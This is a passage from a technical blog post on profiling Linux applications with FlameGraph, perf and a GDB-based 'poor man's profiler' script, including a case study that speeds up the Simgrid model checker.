QEventLoop::exec(QFlags<:processeventsflag>) () from /usr/lib/x86_64-linux-gnu/libQtCore.so.4\n#8 0x00007f4d97162ab9 in QCoreApplication::exec() () from /usr/lib/x86_64-linux-gnu/libQtCore.so.4\n#9 0x00000000004082d6 in ?? ()\n#10 0x00007f4d966d2b45 in __libc_start_main () from /lib/x86_64-linux-gnu/libc.so.6\n#11 0x0000000000409181 in _start ()\n[...]\n
By doing this a few times, you should be able to have an idea of\nwhat is taking time in your process (or thread).
\nTaking a few random stack samples of the process might be fine and\nhelp you in some cases but in order to have more accurate information,\nyou might want to take a lot of stack samples. FlameGraph can help you\nvisualize those stack samples.
\nFlameGraph reads a file from the standard input representing stack\nsamples in a simple format where each line represents a type of stack\nand the number of samples:
\n\nmain;init;init_boson_processor;malloc 2\nmain;init;init_logging;malloc 4\nmain;processing;compyte_value 8\nmain;cleanup;free 3\n\n
FlameGraph generates a corresponding SVG representation:
\n\nFlameGraph ships with a set of preprocessing scripts\n(stackcollapse-*.pl
) used to convert data from various\nperformance/profiling tools into this simple format\nwhich means you can use FlameGraph with perf, DTrace,\nSystemTap or your own tool:
your_tool | flamegraph_preprocessor_for_your_tool | flamegraph > result.svg\n
\nIt is very easy to add support for a new tool in a few lines of\nscripts. I wrote a\npreprocessor\nfor the GDB backtrace
output (produced by the previous poor man's\nprofiler script) which is now available\nin the main repository.
As FlameGraph uses a tool-neutral line-oriented format, it is very\neasy to add generic filters after the preprocessor (using sed
,\ngrep
, etc.):
the_tool | flamegraph_preprocessor_for_the_tool | filters | flamegraph > result.svg\n
\nUpdate 2015-08-22:\nElfutils ships a stack
program\n(called eu-stack
on Debian) which seems to be much faster than GDB\nfor using as a poor person's Profiler in a shell script. I wrote a\nscript in order to feed its output to\nFlameGraph.
perf is a very powerful tool for Linux to do performance analysis of\nprograms. For example, here is how we can generate\nan on-CPU\nFlameGraph of an application using perf:
\n# Use perf to do a time based sampling of an application (on-CPU):\nperf record -F99 --call-graph dwarf myapp\n\n# Turn the data into a cute SVG:\nperf script | stackcollapse-perf.pl | flamegraph.pl > myapp.svg\n
\nThis samples the on-CPU time, excluding time when the process in not\nscheduled (idle, waiting on a semaphore, etc.) which may not be what you\nwant. It is possible to sample\noff-CPU\ntime as well with\nperf.
\nThe simple and fast solution[1] is to use the frame pointer\nto unwind the stack frames (--call-graph fp
). However, frame pointer\ntends to be omitted these days (it is not mandated by the x86_64 ABI):\nit might not work very well unless you recompile code and dependencies\nwithout omitting the frame pointer (-fno-omit-frame-pointer
).
Another solution is to use CFI to unwind the stack (with --call-graph dwarf
): this uses either the DWARF CFI (.debug_frame
section) or\nruntime stack unwinding (.eh_frame
section). The CFI must be present\nin the application and shared-objects (with\n-fasynchronous-unwind-tables
or -g
). On x86_64, .eh_frame
should\nbe enabled by default.
Update 2015-09-19: Another solution on recent Intel chips (and\nrecent kernels) is to use the hardware LBR (Last Branch Record)\nregisters (with --call-graph lbr
).
As FlameGraph uses a simple line oriented format, it is very easy to\nfilter/transform the data by placing a filter between the\nstackcollapse
preprocessor and FlameGraph:
# I am only interested in what is happening in MAIN():\nperf script | stackcollapse-perf.pl | grep MAIN | flamegraph.pl > MAIN.svg\n\n# I am not interested in what is happening in init():\nperf script | stackcollapse-perf.pl | grep -v init | flamegraph.pl > noinit.svg\n\n# Let's pretend that realloc() is the same thing as malloc():\nperf script | stackcollapse-perf.pl | sed/realloc/malloc/ | flamegraph.pl > alloc.svg\n
\nIf you have recursive calls you might want to merge them in order to\nhave a more readable view. This is implemented in my\nbranch\nby stackfilter-recursive.pl
:
# I want to merge recursive calls:\nperf script | stackcollapse-perf.pl | stackfilter-recursive.pl | grep MAIN | flamegraph.pl\n
\nUpdate 2015-10-16: this has been merged upstream.
\nSometimes you might not be able to get relevant information with\nperf
. This might be because you do not have debugging symbols for\nsome libraries you are using: you will end up with missing\ninformation in the stacktrace. In this case, you might want to use GDB\ninstead using the poor man's profiler\nmethod because it tends to be better at unwinding the stack without\nframe pointer and debugging information:
# Sample an already running process:\npmp 500 0.1 $(pidof mycommand) > mycommand.gdb\n\n# Or:\nmycommand my_arguments &\npmp 500 0.1 $!\n\n# Generate the SVG:\ncat mycommand.gdb | stackcollapse-gdb.pl | flamegraph.pl > mycommand.svg\n
\nWhere pmp
is a poor man's profiler script such as:
#!/bin/bash\n# pmp - \"Poor man's profiler\" - Inspired by http://poormansprofiler.org/\n# See also: http://dom.as/tag/gdb/\n\nnsamples=$1\nsleeptime=$2\npid=$3\n\n# Sample stack traces:\nfor x in $(seq 1 $nsamples); do\n gdb -ex \"set pagination 0\" -ex \"thread apply all bt\" -batch -p $pid 2> /dev/null\n sleep $sleeptime\ndone\n
\nUsing this technique will slow the application a lot.
\nCompared to the example with perf, this approach samples both on-CPU\nand off-CPU time.
\nHere are some figures obtained when I was optimising the\nSimgrid\nmodel checker\non a given application\nusing the poor man's profiler to sample the stack.
\nHere is the original profile before optimisation:
\n\n82% of the time is spent in get_type_description()
. In fact, the\nmodel checker spends its time looking up type description in some hash tables\nagain and over again.
Let's fix this and store a pointer to the type description instead of\na type identifier in order to avoid looking up those type over\nand over again:
\n\nAfter this modification,\n32% of the time is spent in libunwind get_proc_name()
(looking up\nfunctions name from given values of the instruction pointer) and\n13% is spent reading and parsing the output of cat /proc/self/maps
\nover and over again (in xbt_getline()
). Let's fix the second issue first\nbecause it is simple: we can cache the memory mapping of the process in\norder to avoid parsing /proc/self/maps
all of time.
Now, let's fix the other issue by resolving the functions\nourselves. It turns out, we already had the address range of each function\nin memory (parsed from DWARF informations). All we have to do is use a\nbinary search in order to have a nice O(log n) lookup[2].
\n\nStill 17% of the time is spent looking up type descriptions from type\nidentifiers in a hash table. Let's store the reference to the type\ndescriptions and avoid this:
\n\nThe non-optimised version was taking 2 minutes to complete. With\nthose optimisations, it takes only 6 seconds \ud83d\ude2e. There is\nstill room for optimisation here as 30% of the time is now spent in\nmalloc()
/free()
managing heap information.
Perf can sample many other kind of events (hardware performance\ncounters, software performance counters, tracepoints, etc.). You can get\nthe list of available events with perf list
. If you run it as\nroot you will have a lot more events (all the kernel tracepoints).
Here are some interesting events:
\ncache-misses
are in general last level cache misses (the\ndata in not in any cache and must be fetched from RAM which\nis much slower).page-faults
.More information about some perf events can be found in\nperf_event_open(2)
.
You can then sample an event with:
\nperf record --call-graph dwarf -e cache-misses myapp\n
\n\n_ZTSSt9bad_alloc@@GLIBCXX_3.4
),\nc++filt
can be used after the stackcollapse
script to demangle them.--reverse
flag of flamegraph.pl
.perf
./proc/$pid/stack
.If you liked this post, you might as well like:
\n\nWhen using frame pointer unwinding, the kernel unwinds the stack\nitself and only gives the instruction pointer of each frame to\nperf record
. This behaviour is triggered by the\nPERF_SAMPLE_CALLCHAIN
sample type.
When using DWARF unwinding, the kernels takes a snaphots of (a\npart of) the stack, gives it to perf record
: perf record
\nstores it in a file and the DWARF unwinding is done afterwards by\nthe perf tools. This uses\nPERF_SAMPLE_STACK_USER
. PERF_SAMPLE_CALLCHAIN
is used as well\nbut for the kernel-side stack (exclude_callchain_user
). \u21a9\ufe0e
Cache friendliness could probably be better however.\nSee for example\nCache-friendly binary search. \u21a9\ufe0e
\n